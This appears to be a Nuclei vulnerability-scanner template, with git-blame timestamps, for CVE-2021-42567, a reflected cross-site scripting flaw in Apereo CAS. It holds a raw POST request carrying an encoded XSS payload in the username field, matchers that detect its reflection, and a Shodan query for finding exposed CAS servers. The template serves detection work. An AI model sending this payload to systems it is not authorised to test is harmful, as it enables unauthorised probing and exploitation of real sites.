2021-12-30 11:39:29 +00:00
id : CVE-2021-42567
info :
2022-09-09 17:34:37 +00:00
name : Apereo CAS Cross-Site Scripting
2021-12-30 11:39:29 +00:00
author : pdteam
severity : medium
2022-02-28 18:05:03 +00:00
description : Apereo CAS through 6.4.1 allows cross-site scripting via POST requests sent to the REST API endpoints.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, data theft, or defacement.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
2021-12-30 11:39:29 +00:00
reference :
- https://apereo.github.io/2021/10/18/restvuln/
- https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html
- https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-42567
- https://github.com/apereo/cas/releases
2021-12-30 11:40:55 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-12-30 11:40:55 +00:00
cve-id : CVE-2021-42567
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.25981
2023-12-12 11:07:52 +00:00
epss-percentile : 0.96253
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:apereo:central_authentication_service:*:*:*:*:*:*:*:*
2022-04-22 10:38:41 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apereo
product : central_authentication_service
2023-09-06 12:09:01 +00:00
shodan-query : http.title:'CAS - Central Authentication Service'
2022-04-22 10:38:41 +00:00
tags : cve,cve2021,apereo,xss,cas
2021-12-30 11:39:29 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-12-30 11:39:29 +00:00
- raw :
- |
POST /cas/v1/tickets/ HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
username=%3Cimg%2Fsrc%2Fonerror%3Dalert%28document.domain%29%3E&password=test
matchers-condition : and
matchers :
- type : word
words :
- '<img/src/onerror=alert(document.domain)>'
- 'java.util.HashMap'
condition : and
- type : status
status :
- 401
2023-12-29 09:30:44 +00:00
# digest: 4a0a0047304502205f6830b6001b612f4c8fd2ab85b5f747f7a11e3757b3c0cbfe9ed59e1ac8b8960221008d9d7885d50abfbea7971fa3c75176357811bba4d6c73111885ba8e80ce7eff7:922c64590222798bb761d5b6d8e72950